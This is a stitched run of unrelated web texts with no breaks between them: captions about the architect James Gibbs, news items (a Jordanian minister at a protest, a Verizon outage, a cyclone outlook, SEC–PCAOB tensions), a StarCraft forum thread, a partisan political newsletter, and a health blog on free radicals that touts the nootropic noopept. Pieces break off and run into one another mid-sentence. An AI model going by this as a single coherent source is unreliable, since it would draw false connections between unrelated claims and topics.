Interior looking west, St Martin-in-the-Fields
The font, St Martin-in-the-Fields
Vault in crypt, St Martin-in-the-Fields
St Nicholas, Aberdeen
St Peter Vere Street
The nave, Derby Cathedral
Looking east, St Michael and All Saints, Great Witley
Nave ceiling, St Michael and All Saints, Great Witley
Chapel, Sir William Turner's Almshouses, Kirkleatham
Mausoleum on right, St Cuthberts Kirkleatham
Mausoleum, St Cuthberts Kirkleatham
South front, St Mary, Patshull
Chandos mausoleum, St Lawrence, Little Stanmore
Church memorials [ edit ]
London houses [ edit ]
Houses in the Privy Gardens, Whitehall, London, 1710–11, demolished 1807
Burlington House, wings and twin colonnades in forecourt, 1715–16, demolished
Thanet House, Great Russell Street, 1719, demolished
9–11 Henrietta Street, 1723–27, demolished 1956; the drawing room from No 11 is now in the Victoria and Albert Museum
52 Grosvenor Street, alterations 1727
Savile House, 6 Leicester Square, 1733, demolished
25 Leicester Square, 1733–34 demolished
49 Great Ormond Street, new library, 1734, demolished
16 Arlington Street, 1734–40
House in Mortimer Street, Marylebone, London 1735–40, demolished
Houses in Argyll Street, Westminster 1736–1761
House in Hanover Square, 1740, demolished
Burlington House forecourt, showing Gibbs' wings and a colonnade
Burlington House, one of the colonnades
Drawing room from 11 Henrietta Street, now in V&A Museum
New country houses [ edit ]
Sudbrook House
Ditchley House
Cannons House
Antony House, Cornwall
Eastern Boycott Pavilion, 1728, Stowe House, dome altered; it used to have a spire like the Turner Mausoleum
The Fane of Pastoral Poetry, 1729, Stowe House
Palladian bridge, 1738, Stowe House, based on the bridge at Wilton House
Ruined Temple of Friendship, 1739, Stowe House
Gothic Temple, 1748, Stowe House
Houghton Hall, showing two of Gibbs' domes
Kelmarsh Hall
Catton Hall
Patshull Hall
Bank Hall, Warrington
Alterations to existing country houses [ edit ]
Orleans House, Gibbs' Octagon on the left
Octagon, Orleans House
Interior of the Octagon, Orleans House
Wimpole Hall, Gibbs' Library on the right
The Chapel, Wimpole Hall
Badminton House, north front as remodelled by Gibbs
,
See also [ edit ]
References [ edit ]
Bibliography [ edit ]
Terry Friedman and Peter Burman, James Gibbs as a Church Designer: An Exhibition Celebrating the Restoration of the Cathedral Church of All Saints at Derby, 1972, Chapterhouse Press, 1972.
, Chapterhouse Press, 1972. Friedman, Terry (1984) James Gibbs. Yale University Press. ISBN 0-300-03172-6
. Yale University Press. ISBN 0-300-03172-6 Little, Bryan (1955) James Gibbs 1682–1754. Batsford Books.
. Batsford Books. Summerson, John (1993) Architecture in the United Kingdom, 1530–1830 9th edition. Yale University Press. ISBN 978-0-300-05886-4In an unprecedented move, Jordan's new justice minister on Monday joined dozens of protesters demanding the early release of a Jordanian soldier who killed seven Israeli school girls in 1997.
Minister Hussein Mjali previously served as the defense lawyer of army Corp. Ahmed Daqamseh who shot dead the girls during an outing near Jordan's border with Israel.
Monday's protest outside Mjali's office was organized by Daqamseh's family. Mjali joined the protesters, saying he was participating in his capacity as the soldier's former lawyer. I'm committed to be here with you as his lawyer, Mjali told the cheering group.
Israeli Embassy spokeswoman Merav Horsandi said it is difficult for us to comprehend how there are people who support the release of a cold-blooded murderer of young children.
She said an early release would contradict the spirit of the 1994 peace treaty between the two countries. "Israel cannot imagine a situation in which such a vile murderer will be set free by the Jordan," she added.
The corporal was sentenced to life in prison, which translates into a 25-year sentence in Jordan. It's unlikely he will win early release.
Jordanian justice minister Hussein Mjali, right, join protesters demanding release of a soldier who shot dead seven Israeli schoolgirls in 1997, in Amman, Jordan, Feb 14, 2011. AP
Jordan maintains cordial ties with Israel. The peace treaty stipulates that both countries should refrain from actions that could incite tensions or harm diplomatic relations.
Mjali was appointed in a government shakeup last week in the wake of protests inspired by the Egyptian uprising. The protests ushered in a broad-based Cabinet pledging greater democratic freedoms, including the rights of assembly and speech.
Mjali said Monday he joined the Cabinet because he wants see greater freedom of speech in Jordan.
It was not immediately clear if his appearance at Monday's protest will have repercussions.
A government spokesman said the Cabinet didn't discuss the issue. It's apparently the minister's own initiative and he has the right to express himself, added the spokesman, insisting on anonymity because of the sensitivity of the issue.
Mjali's boss is Prime Minister Marouf al-Bakhit, who served as Jordan's ambassador to Israel several years ago. He is a former army general who advocates close ties with the United States and Israel.Crazy twisted DNA, superimposed with a simulation predicting its shape. (Thana Sutthibutpong)
When most of us think of DNA, we think of that iconic double helix shape. But when you zoom out, DNA gets a lot more complicated.
"When Watson and Crick described the DNA double helix, they were looking at a tiny part of a real genome, only about one turn of the double helix," University of Leeds researcher Sarah Harris says. "This is about 12 DNA 'base pairs,' which are the building blocks of DNA that form the rungs of the helical ladder."
[Gene editing could make pig-to-human organ transplants a reality]
Harris is one of the lead authors of a study, published Monday in Nature Communications, that imaged the intricate formations of DNA and used computer simulations to examine how they wiggle and change.
"Our study looks at DNA on a somewhat grander scale -- several hundreds of base pairs -- and even this relatively modest increase in size reveals a whole new richness in the behavior of the DNA molecule," Harris said in a statement.
The 3 billion base pairs that make up human DNA -- about three feet worth of the stuff -- has to cram into the nucleus of each and every human cell. So it's no surprise that things get pretty twisted.
Here are the researchers describing their work in, um, a very creative way:
The researchers observed a complex variety of shapes and found that they changed and moved constantly. Because drugs work by binding to the specific shape of a molecule, the researchers hope that their work will help develop better pharmaceuticals.
"We are sure that supercomputers will play an increasingly important role in drug design. We are trying to do a puzzle with millions of pieces, and they all keep changing shape," Harris said.
Read More:
Scientists are using DNA origami to 3-D print structures just nanometers across
Gene editing could make pig-to-human organ transplants a reality
Nobel Prize in chemistry shared by American, Swedish and Turkish scientists for DNA repair
Scientists find the single letter in corn’s DNA that spurred its evolution
This blood test can tell you every virus you’ve ever hadVerizon customers across the country have been reporting data outages Wednesday, as they wake up to find that they are having trouble accessing the company’s 3G and 4G networks.
Looking at Verizon support forums and updates from the Verizon support Twitter account, customers from the East Coast, Midwest and Great Plains states have all reported that they are unable to access data networks since early Wednesday. Not all customers appear to be affected, but there are numerous reports from each region, indicating it could be a series of smaller outages or problems with devices.
Verizon did not immediately respond to a request for comment on the complaints. There’s also been no mention of a large outage on the company’s official customer service Twitter account, where the wireless carrier has announced service updates in the past.
Right now, the account is answering individual questions about data problems and troubleshooting problems customer by customer.
The nation’s largest wireless carrier, Verizon has been consistently praised for its reliable network, but has faced a couple high-profile outages one year after its LTE rollout. Earlier this month, users reported a nationwide 4G network outage. 3G connections were not affected in that outage, but users Wednesday are reporting trouble getting on both data networks.
Related stories:
Justice probing Verizon Wireless over cable deals
Verizon Wireless deal with cable company Cox includes cross-promotion
The Verge: Verizon’s Galaxy Nexus goes on saleFewer cyclones than average expected in Australia this season
Updated
Australia is likely to experience fewer cyclones than average this season, but the Northern Territory is set for almost an average number, weather forecasters predict.
The Bureau of Meteorology on Monday released its tropical cyclone outlook for 2014/15.
Australia as a whole was likely to have fewer cyclones than a typical year, when an average of 11 cyclones are felt in the region with four crossing the coast, the bureau said.
It said there was a 66 per cent chance that there would be fewer tropical cyclones than normal.
Chance of having fewer cyclones than average in 2014/15 Australia: 66 per cent
Northern region: 54 per cent
North-Western sub-region: 62 per cent
Western region: 57 per cent
Eastern region: 58 per cent Source: Source: Bureau of Meteorology
But the Northern region, which includes the Northern Territory and parts of Queensland and Western Australia, had only a 54 per cent chance of having fewer than the three tropical cyclones it averages each season.
The eastern region, which encompasses most of Queensland, was also on track for a near average season, which is about four tropical cyclones, while those in the Western region had a 57 per cent chance of a below average number of cyclones, the BOM said.
Duty forecaster with the BOM in Western Australia, Mark Paull, said people needed to remember that the figures related to the numbers of cyclones, not their intensity.
"Any cyclone, even it is only one, can cause serious damage," he said.
"It only takes one to make it a bad year."
Climatologists determined Australia's cyclone outlook by looking at influences that included the El Nino-like state of the Pacific Ocean and models that suggested a late El Nino for 2014.
During El Nino years Australia typically sees fewer tropical cyclones than usual and fewer land crossings.
The cyclone season in Australia runs from November 1 until April 30 and since records began there has always been at least one tropical cyclone that has crossed the coast each season.
Topics: cyclone, darwin-0800, nt, townsville-4810, cairns-4870, mackay-4740, qld, broome-6725, port-hedland-6721, karratha-6714, wa
First postedjpak Profile Blog Joined October 2009 United States 4058 Posts Last Edited: 2012-07-25 14:28:22 #1
DES Source
Fomos Source
The new time and place for the OSL Finals has been decided.
New Time: August 4th at 6 PM KST
New Location: Jamsil Student Gymnasium, the same location as the last Proleague Finals.
Edit: To get VIP Tickets:
On July 25 2012 19:46 GTR wrote:
http://www.fomos.kr/board/board.php?mode=read&keyno=126060&db=issue&cate=&page=1&field=&kwrd=
Looks like if you want VIP tickets you have to attend e-Stars -_- Looks like if you want VIP tickets you have to attend e-Stars -_-
+ Show Spoiler [Old Post] +
Previously announced Date and Location: July 28th at the COEX in Seoul.
This should be especially worrisome to those who are traveling from far and wide to try to go to the OSL finals. If they DO change the location and time, this would throw so many people here off and would be very, very bad for them.
The source is the end of the broadcast 2nd Semifinals between Fantasy and Flash.
I will try to keep this thread updated as more information comes out in the coming days.
Edit: On July 18 2012 03:49 N.geNuity wrote:
You can add to the OP that the estars seoul schedule replaced the 18:30 7/28 slot to woongjin vs CJ
http://www.estarsseoul.org/ESports/Stage.aspx
"프로리그 웅진 vs CJ" = Proleague Woongjin vs CJ You can add to the OP that the estars seoul schedule replaced the 18:30 7/28 slot to woongjin vs CJ"프로리그 웅진 vs CJ" = Proleague Woongjin vs CJ
The previous date has been filled with Proleague. According to today's OSL Semifinals broadcast, the commentators revealed that currently OGN is looking for a bigger place to accommodate the Finals and that the time as well as the location are currently subject to change.Previously announced Date and Location: July 28th at the COEX in Seoul.This should be especially worrisome to those who are traveling from far and wide to try to go to the OSL finals. If they DO change the location and time, this would throw so many people here off and would be very, very bad for them.The source is the end of the broadcast 2nd Semifinals between Fantasy and Flash.I will try to keep this thread updated as more information comes out in the coming days.Edit:The previous date has been filled with Proleague. BREAKING NEWS!!!!The new time and place for the OSL Finals has been decided.New Time: August 4th at 6 PM KSTNew Location: Jamsil Student Gymnasium, the same location as the last Proleague Finals.Edit: To get VIP Tickets: CJ Entusman #50! #1 클템 fan TL!
amazingxkcd Profile Blog Joined September 2010 GRAND OLD AMERICA 15736 Posts #2 They should just do at either the beach or in front of a national treasure spot as a formal salute to what BW has brought to the world. The world is burning and you rather be on this terrible website discussing video games and your shallow feelings
stevewch Profile Joined February 2006 Hong Kong 208 Posts #3 buddies, show Kespa our passion for this greatest game!!!!
i remember there was a picture showing the audience size in a final(forget what final was that), that final was held in beach. SC forever!
Epoxide Profile Blog Joined March 2011 Magic Woods 9039 Posts #4 What a bummer if they change it and some foreigner misses it ;; Liquipedia Souma: EU MM is just Russian Roulette. Literally.
ggggbabybabybaby Profile Blog Joined December 2010 Canada 298 Posts #5 Woahhhhh. Perfect timing. Was just about to book my flight. I guess wait and see.
Holgerius Profile Blog Joined January 2009 Sweden 16946 Posts #6 Omfg, if I miss it due to this... I believe in the almighty Grötslev! -- I am never serious and you should never believe a thing I say. Including the previous sentence.
BLinD-RawR Profile Blog Joined April 2010 ALLEYCAT BLUES 43985 Posts #7 Busan...come on busan.... Moderator Woo Jung Ho, never forget.| Twitter: @BLinDRawR
pinball777 Profile Joined January 2011 United States 130 Posts #8 Busan has the gsl/gstl finals. Not sure if it would be possible to do both the events on the same day. Let's see what happens
justiceknight Profile Blog Joined May 2008 Singapore 3773 Posts #9 last BW osl
last BW 5 games
why.........
reincremate Profile Blog Joined May 2009 China 2043 Posts #10 On July 18 2012 01:15 justiceknight wrote:
last BW osl
last BW 5 games
why.........
*Up to 5 BW games.
They should do it in the US. And then do at least 50 more OSLs. *Up to 5 BW games.They should do it in the US. And then do at least 50 more OSLs.
Kipsate Profile Blog Joined July 2010 Netherlands 29335 Posts #11 The beach or gtfo. Writer Xiao8~~
SoulSever Profile Joined April 2010 Canada 493 Posts #12 Beach only if Jangbi goes swimming A La FBH Violet <3 ~~~Better places than here exist
Shiro)Tenshi Profile Blog Joined February 2010 China 213 Posts #13 So....I'm pretty new to this whole watch-Broodwar-live business since I've watched streams for everything. But considering this is the last OSL and I'm nearby, I'm interested in watching this live.
Can somebody elaborate on how this process works? Am I supposed to be buying tickets from somewhere?
Xiphos Profile Blog Joined July 2009 Canada 7500 Posts Last Edited: 2012-07-17 18:08:44 #14 DO THE OSL FINAL @ MLG!!!!
Get Tasteless and Artosis to cast it in English too. 2014 - ᕙ( •̀ل͜•́) ϡ Raise your bows brood warriors! ᕙ( •̀ل͜•́) ϡ
Arceus Profile Blog Joined February 2008 Vietnam 8280 Posts #15 GWANGANRI BEACH
Legend
wait for it
daaaaary
GARO Profile Blog Joined November 2010 United States 1748 Posts #16 On July 18 2012 01:53 SoulSever wrote:
Beach only if Jangbi goes swimming A La FBH
Speaking of FBH, isn't he just about ready to be discharged? Speaking of FBH, isn't he just about ready to be discharged?
N.geNuity Profile Blog Joined July 2009 United States 5007 Posts Last Edited: 2012-07-17 20:45:04 #17
http://www.estarsseoul.org/ESports/Stage.aspx
"프로리그 웅진 vs CJ" = Proleague Woongjin vs CJ
*edit* or rather I guess it was 15:30-18:30. misread schedule start time looking at it for the 1 second. still I'd imagine estar seoul would have kept it on their schedule if it was still being held there instead of changing it to proleague (snm also said this in the other thread, but I provide a linku!) You can add to the OP that the estars seoul schedule replaced the 18:30 7/28 slot to woongjin vs CJ"프로리그 웅진 vs CJ" = Proleague Woongjin vs CJ*edit* or rather I guess it was 15:30-18:30. misread schedule start time looking at it for the 1 second. still I'd imagine estar seoul would have kept it on their schedule if it was still being held there instead of changing it to proleague (snm also said this in the other thread, but I provide a linku!) iu, seungah, yura, taeyeon, hyosung, lizzy, suji, sojin, jia, ji eun, eunji, soya, younha, jiyeon, fiestar, sinb, jung myung hoon godtier. BW FOREVERR
N.geNuity Profile Blog Joined July 2009 United States 5007 Posts #18 also fuck you people that are even joking about having osl overseas in white people land lol (I know you're joking, but not funny).
Better be Gwangari iu, seungah, yura, taeyeon, hyosung, lizzy, suji, sojin, jia, ji eun, eunji, soya, younha, jiyeon, fiestar, sinb, jung myung hoon godtier. BW FOREVERR
slappy Profile Blog Joined March 2010 United States 1271 Posts #19 hopefully they pick somewhere near seoul for all the poor people who flew in for this ><
COEX is a massive facility though... jaedong imba
Holgerius Profile Blog Joined January 2009 Sweden 16946 Posts #20 All I'm worried about is the date. If they just change the location I could work it out, but if they change the date I'll just shoot myself. I believe in the almighty Grötslev! -- I am never serious and you should never believe a thing I say. Including the previous sentence.
1 2 3 4 5 10 11 12 Next AllWASHINGTON – James Schnurr, just two months into his job as chief accountant at the U.S. Securities and Exchange Commission, stood before a packed ballroom in Washington last December and upbraided a little-known regulator.
The Public Company Accounting Oversight Board, or PCAOB, oversees the big firms that sign off on the books of America’s listed companies. And the board was “moving too slowly,” Schnurr said, to address auditing failures that in recent years had shaken public confidence in those firms.
These were fighting words in the decorous auditing profession, and they hit their target. PCAOB Chairman James Doty was among those attending the annual accounting-industry gala where Schnurr spoke. And Schnurr was Doty’s new supervisor.
“This is going to get ugly,” Doty said to a colleague afterward.
In his new SEC job, Schnurr now had direct authority over the PCAOB – a regulator that just a few years earlier had derailed his C-suite ambitions at Deloitte & Touche. As deputy managing partner at the world’s largest accounting firm, Schnurr had commanded an army of auditors – until a string of damning PCAOB critiques of Deloitte’s audits led to his demotion.
Then, in August 2014, SEC Chair Mary Jo White named Schnurr to his SEC post. It was a remarkable instance of Washington’s “revolving door” for professionals moving between government and industry jobs.
Schnurr wasn’t the only one with a Deloitte tie. White had counted Deloitte among her clients while a partner at law firm Debevoise |
mammograms, is cheaper, and involves no radiation, why would that not be a better choice? Seems awfully odd to just throw up our hands and just go with a more expensive and more harmful alternative that isn’t superior.
Bottom line: no study is perfect, and we should consider the limitations of all studies when interpreting their results. But if you do 25-year follow up, the technology at the start of the trial will always be older. People in studies never perfectly match what’s happening in the real world. And there’s always a measure of trust in science. You should consider the biases and conflicts of all involved, including the people attacking the study.
I leave you with one final thought. If you’re not going to be swayed at all by a randomized controlled trial of 90,000 women with 25 year follow up, excellent compliance, and damn good methods, it might be time to consider that there’s really no study at all that will make you change your mind.
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• Virginia squeaker sends shivers through Dems
• Christie speculation to hit fever pitch today
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• The case of the Craigslist cattle rustler
VIRGINIA SQUEAKER SENDS SHIVERS THROUGH DEMS - Vulnerable Democrats must have watched in dismay as Democrat Terry McAuliffe barely clung to victory on Tuesday. Having spent three times more money than his rival and with the backing of his popular patrons, Bill and Hillary Clinton, McAulliffe was breezing to victory just three weeks ago. But his once-stout lead in the polls over Republican Attorney General Ken Cuccinelli nearly vanished as voter outrage over the crash landing of ObamaCare nearly wrecked the race. A double-digit lead turned into a three-point scrape. Exit polls showed intense opposition to ObamaCare that helped Cuccinelli, who was written off by the national GOP and who had to lug along the scandal-plagued administration of Republican incumbent Gov. Bob McDonnell.
[Watch Fox: Sen. Orrin Hatch, R-Utah, previews Health and Human Services Secretary Kathleen Sebelius’ Senate hearing in the 9 a.m. ET hour]
Exit strategy - It looks like if Cuccinelli had another week to tag McAuliffe for his unflinching support of President Obama’s unpopular new entitlement, the race might have ended differently. What if he would have had another year? That’s the reality facing vulnerable Democrats on the 2014 election cycle. As Republican candidates without Cuccinelli’s structural problems contemplate months and months of public frustrations with administrative failures, cancelled policies and premium spikes, the path to a Senate majority starts to look a little clearer as the fortunes of Democrats in red states and swing states continues to dim.
“Democrats had to come up with plan. They couldn’t possibly stand by because of the administration’s inability to produce functioning Web site.” – Sen. Pat Toomey, R-Pa., on “Fox and Friends.”
Brickbats - Health and Human Services Secretary Kathleen Sebelius testifies again today about the botched launch of ObamaCare. Following a contentious House hearing last week, Sebelius might have hoped for a friendlier reception by the Democratic led Senate. Not going to happen, Madam Secretary. The furor over President Obama’s post-facto promise revision of his pledge to allow Americans to keep their insurance policies – more than 3.5 million of which are being cancelled – have raised the stakes dramatically. Add in McAuliffe’s near collapse and you have a recipe for intraparty fighting. The administration can only weather this storm if most Democrats stick together. But the string of stumbles from team Obama will make even some loyalists wonder if they can survive the backlash.
[A ‘crisis of confidence’ - Washington Examiner: “Senate Appropriations Committee Chairwoman [Democrat] Barbara Mikulski delivered a hefty dose of criticism to Marilyn Tavenner, Centers for Medicare and Medicaid Services administrator, who came to testify before a Senate panel about the health care law rollout. ‘I believe that there's been a crisis of confidence created in the dysfunctional nature of the Web site, the canceling of policies and sticker shock from some people.’”]
Baier Tracks: Eye of the needle…“A win is a win. And clearly the Terry McAuliffe win is big for the Democratic Party and a particular friend who used to be Secretary of State and who may run for president. That said, the internals of the exit polls are a little scary for Democrats.
Despite all of the money McAuliffe spent painting Ken Cuccinelli as an extremist, independents split their vote three ways: 47 percent for Cuccinelli, 38 percent for McAuliffe and 15 percent for third-party candidate Robert Sarvis.
But scariest of all: It appears ObamaCare narrowed the gap in this race in the final days.
While 46 percent of Virginia voters support ObamaCare, a 53-percent majority oppose it. That includes 41 percent who said they strongly oppose the law. Cuccinelli tried to make the race a referendum on the health law and President Obama, who campaigned with McAuliffe over the weekend. That wasn’t ultimately successful, despite a 53-percent majority disapproving of the job Obama’s doing.
Threading the needle for Democrats – distancing themselves from ObamaCare while embracing the president and their party – will likely get increasingly tougher into 2014.” – Bret Baier
TOPTWEETS - @laurenashburn’s top tweet pick for this morning: WSJ’s National Politics Editor Aaron Zinter, @aaronzitner7h ‘We were on our own,' Cuccinelli strategist complains -- says GOP abandoned its nominee. wapo.st/HFDVSJ
[Lauren Ashburn of “#MEDIABUZZ” tracks the Twitterverse every day in Top Twitter Talk.]
BAD TIMING FOR A RED STATE SWING - President Obama is in Dallas today to raise money for congressional Democrats and plump for his embattled law. On Thursday, Obama is scheduled to give a speech in New Orleans, the home town of one of the most vulnerable Democrats next year Sen. Mary Landrieu. Fox News First wonders whether she will be very busy with legislative business that day. What she’s working on is pushing a bill that would be a huge public embarrassment to the president if it comes to a vote: legislation that would codify Obama’s original “if you like it” promise. Having voted against Republican efforts to temper the law’s disruptive effects, Landrieu needs some cover. Quickly.
[The National Republican Senatorial Committee takes President Obama to task today for attending nine fundraisers aimed at erasing Democratic Party debt, while taking little or no action to reduce the nation’s debt in a new campaign called “November Priorities.” They point out that the NRSC holds zero debt while its Democratic counterpart is $7.5 million in the red. ]
How long? - The White House strategy is to wait out the outrage and keep Democrats united in the face of sharpening public anger. But with concrete evidence that law is shaping up to be an even greater political liability than it was in 2010, it’s a tough sell. The fact that the test case came in Virginia, a state Obama won twice, makes it even tougher. If ObamaCare is an anchor in purple America, it’s a torpedo in red states.
[Back to the base: Obama reverts to form with “if you like it” scandal. From the “Kelly File.”]
What’s the opposite of “Montani sepmper liberi?”- West Virginia University will require its students to have health insurance starting next year, and suggest students enroll in ObamaCare’s exchanges. The Daily Caller has more.
OBAMA = BUSH - The latest survey from Gallup finds President Obama holds a nearly identical approval rating to former President George W. Bush at this point in his presidency. The firm’s tracking poll shows Obama with a 39 percent approval rating compared to Bush’s 40 percent in the fall of his fifth year in office.
Presidential bubble wrap - WaPo’s Dana Milbank compares President Obama’s health insurance quagmire to the woes that best President George W. Bush’s decision to invade Iraq. “In both cases insular administrations, staffed by loyalists and obsessed with secrecy, participated in group-think and let the president hear only what they thought he wanted to hear.”
CHRISTIE SPECULATION TO HIT FEVER PITCH TODAY - Campaign Carl Cameron has learned that a well-timed announcement this morning by newly re-elected New Jersey Gov. Chris Christie’s nascent 2016 political shop will set off a brushfire of speculation in New Hampshire and other early primary and caucus states where the 2016 race is already underway.
Baby, he was born to run - Christie’s commanding win in deep-blue New Jersey is being heralded by the GOP establishment as evidence of the pugnacious Republican’s 2016 clout. Christie spoke of his widespread bi-partisan support during his victory speech Tuesday saying, “If we can do this in Trenton maybe people in Washington should tune in see how it’s done.” According to Fox News exit polling, 32 percent of Garden State Democrats supported Christie. In addition, 51 percent of those polled said Christie would make a good president with 44 percent disagreeing.
But… - In a head-to-head matchup with Democratic 2016 frontrunner Hillary Clinton, Christie came up short in his own state. The governor lost out in the prospective 2016 matchup 48 percent to 44 percent. Fox News has more.
Media mash notes for Christie: New Jersey Star-Ledger “With big win, Christie set to wield power on national stage”// WSJ : “Christie Sets Himself Up for Run in 2016”//NYT: “With N.J. Re-election, Christie Vaults to Front Ranks of G.O.P. for 2016”
Buono bitter - In her concession Tuesday night, Democratic State Sen. Barabra Buono offered a blistering condemnation of fellow Democrats for her loss, “…The party was cannibalizing itself and so I took one for the team. The only problem, I realized too late there was no team.”
[Dems retake Gracie Mansion after long wait - New York City elected its first Democratic mayor since David Dinkins won in 1989. Bill de Blasio, who has pledged tax increases on top earners to fund universal preschool won a resounding victory. Fox News has more.]
WITH YOUR SECOND CUP OF COFFEE...John Stossell looks at the digital divide between the public and private sectors for Fox News Opinion in Let's privatize everything: “Government offers guarantees on paper and promises in speeches. But government rarely delivers. Private companies did brilliant Internet work for President Obama’s election campaign. But when it came to his health insurance Web site, the president put government in charge. We saw the result.”
Got a TIP from the RIGHT or LEFT? Email FoxNewsFirst@FOXNEWS.COM
POLL CHECK - Real Clear Politics Averages
Obama Job Approval: Approve – 43.4 percent//Disapprove – 51.9 percent
Direction of Country: Right Direction – 22.2 percent//Wrong Track – 70.9 percent
NRSC READIES PRIMARY PLAYS - National Republican Senatorial Committee Executive Director Rob Collins told reporters Tuesday, “Would we spend money in primaries? Yes, if that’s the right move at the right time.” The move marks a shift in the committee’s hands-off approach to GOP candidates facing a primary challenger. Collins added, “The path to getting a general election candidate who can win is the only thing we care about.”
Enzi gets reinforcements against Cheney attacks - Sen. Mike Enzi’s, R-Wyo., is getting some backup from his colleagues as he tries to battle back against a well-funded primary challenge from Liz Cheney, a leading national security hawk and the daughter of former Vice President Dick Cheney. WaPo has more.
[Watch Fox: Sen. Lamar Alexander, R-Tenn., appears in the 1 p.m. ET hour]
“If you like it” scandal hits Kentucky race - The political action committee backing Senate Minority leader Mitch McConnell is wasting no time in tying Kentucky Democratic hopeful Allison Lundergan Grimes to President Obama’s now debunked “if you like it” claim. The PAC is blasting Grimes in a new $340,000 ad campaign playing off a recent attack from Grimes about McConnell’s role in the partial government shutdown. The new tagline for Team Mitch: “Grimes and Obama: When liberals don't tell the truth, Kentucky gets burned.”
[The Washington Times announced Tuesday it will no longer feature a weekly column form Sen. Rand Paul, R-Ky., because of his failure to properly cite sources in published writings. Paul told the NYT that sloppy staffers were to blame and promised more thorough attribution going forward.]
BYRNE WINS ALABAMA RUNOFF - Attorney Bradley Byrne bested Tea-Party Favorite Dean Young in Tuesday’s Republican runoff election for Alabama’s 1st Congressional district. Byrne will face Democratic real estate mogul Burton Leflore in the Dec. 17 general election. The district has favored Republicans since 1964.
HIZZONERS - Former write-in candidate Mike Dugan was elected mayor in Detroit. Boston voters chose Martin Walsh over fellow Democrat John Connolly to replace longtime Mayor Thomas Menino. Democratic Mayor Kasim Reed was re-elected in Atlanta.
REFERNDA ROUNDUP - Voters in Texas struck down a measure to restore the Astrodome. Portland, Maine legalized the recreational use of marijuana, while Colorado residents opted for a 25 percent tax on recreational pot use. Residents in at least six of 11 counties that had measures to secede from the Centennial State voted opted to stay put. New Jersey voters placed a minimum wage indexed to the cost of living in their state constitution. Fox News has more.
SUPREMES TAKE UP PUBLIC PRAYER - Should government bodies be allowed to open sessions with prayer? That’s the question before the Supreme Court today. Atheist groups say it is tacit government endorsement of faith. Defenders say the practice dating back the Founding Fathers establishes no religion but reflects their belief that a citizen’s rights are “endowed by their creator.” Sen. Marco Rubio, R-Fla., who filed a brief in support of prayer, will attend today’s arguments. Correspondent Shannon Bream will have the latest.
MILLIONS OF FRAUDULENT OBAMAPHONES - Following reports of rampant fraud in the federal program to give poor Americans free cell phones – dubbed “Obamaphone” by critics – the Federal Communications Commission is readying its first fines for abuse, citing more that 2 million instances of fraud. According to an FCC ruling four cell phone providers knowingly provided multiple government-funded phones to individual households.
THE CASE OF THE CRAIGSLIST CATTLE RUSTLER - Robert Michael Trytten, 43, of Riverside, Calif., is facing jail time after police caught him allegedly selling cow costumes stolen from a nearby Chick-fil-A. The two seven-foot-tall costumes were stolen from the restaurant’s storage facility in two separate burglaries earlier this year. Cops found the cow suits – valued by the chicken chain at $2,800 apiece – selling on Craigslist for $350 each. An undercover officer arranged the purchase of the suits and made the exchange before cops swooped in and nabbed Trytten. LAT has the details.
Chris Stirewalt is digital politics editor for Fox News. Want FOX News First in your inbox every day? Sign up here. To catch Chris live online daily at 11:30 a.m. ET, click here.In this article, I will be explaining to you what is a free radical, their connection to mitochondria & DNA damage, how they are the main contributors to cardiovascular disease, their heavy-influence on cognitive function, and more.
So free radicals really sound like a bad thing. But the thing with human beings, and many other organisms, is that we need a little bit of hardship in order to thrive. For example, if you stop exercising, you will become weaker and unhealthier. Your body won’t develop properly, and you will suffer a decline in cognitive performance.
But isn’t this contradictory? Exercise is a stressful activity that causes you to experience increased oxidative stress, which is an increase in the exposure to free radicals.
The answer is no. In moderation, in the right amounts, and in the right context, free radicals can be beneficial to our health by stimulating an adaptive response (hormesis) and to serve anticancer & anti-pathogenic biological functions. In fact, chemotherapy partly works by bombarding cancer cells with free radicals.
But the answer is also yes. It is shown that extreme bouts of physical exertion, like running a marathon, may actually negatively affect the immune system and the production of glutathione- our body’s master antioxidant.
So free radicals isn’t all that it seems to be at face value. Let’s take a closer look by first defining what a free radical is.
What is a Free Radical?
A free radical, or radical for short, is an atom or a group of atoms that have one or more unpaired electrons. Unpaired refers to an electron that occupies an orbital of an atom all by itself, rather than being a part of an electron pair (two electrons in the same orbital with opposite spin). An unpaired electron is quite reactive because they want to become stable by grabbing other electrons to fill out their outer energy level.
So generally speaking, paired electrons are quite stable, whereas unpaired electrons are quite reactive.
The reactivity of unpaired electrons is what makes free radicals able to damage cellular structures and DNA. Although most of the time, the free radicals are controlled by the body as a part of a normal biological function. For example, the immune system uses free radicals to destroy pathogens. And the electron transport chain transfers lone electrons from electron donors to acceptors as a normal function of the mitochondria in aerobic respiration[1].
What is an Oxygen Radical?
A Reactive Oxygen Species (ROS) refers to any free radical that contains oxygen atom- an oxygen radical in other words.
Oxygen has two unpaired electrons in separate orbitals in its outer shell. This electronic structure makes oxygen especially susceptible to radical formation.
Usually when oxygen is reduced, or given extra electrons, it leads to the formation of ROS like peroxides (like hydrogen peroxide), superoxides, hydroxyl radicals, and singlet oxygen.
Sources of Reactive Oxygen Species
Oxygen derived free radicals are always being made (and depending on the context, required) in our body, given that we human beings mainly rely on an aerobic metabolism in order to function. One of the places that Reactive Oxygen Species (ROS) is formed as a by product is in the mitochondria, as the mitochondria’s Electron Transport Chain uses & specifically reduces oxygen to produce H 2 O in order to generate ATP.
Another instance that ROS is formed is by white blood cells. One type of white blood cell called neutrophils specialize (that’s their “job”) in the production of oxygen free radicals. Neutrophils defend our body by using ROS to kill invading pathogens.
Also, an environment may be a source of free radicals, or trigger the production of free radicals for cells. For example, cells experience an increase in ROS with hypoxia (a lack of sufficient oxygen) and hyperoxia (too much oxygen). A natural way that our cells experience hypoxia is during exercise.
Even our brain experiences a certain amount of hypoxia depending on the intensity of the exercise. But scientists don’t observe that exercise damages the brain overall. In fact, exercise increases brain neurogenesis and synaptic plasticity[2], improves learning and memory[3], and stops the age-related loss of brain tissue during aging while at the same time improving our ability to focus and process information quickly[4].
Exercise makes us smarter- or at least makes our brain run better, even if exercise exposes our brain cells to a lack of oxygen. That’s because exercise-induced hypoxia causes an adaptive response by the brain to combat the free radicals generated by hypoxia. The same goes for the rest of our body.
Interestingly, there is a nootropic called noopept that signals to the brain that it is under a hypoxic condition, making the brain respond with adaptive measures artificially. In this way, noopept can also stimulates the growth & development of brain cells.
My point is that free radicals (controlled & in moderation) isn’t all bad. Our bodies are designed to deal with free radicals that are bound to be generated in an aerobic metabolism.
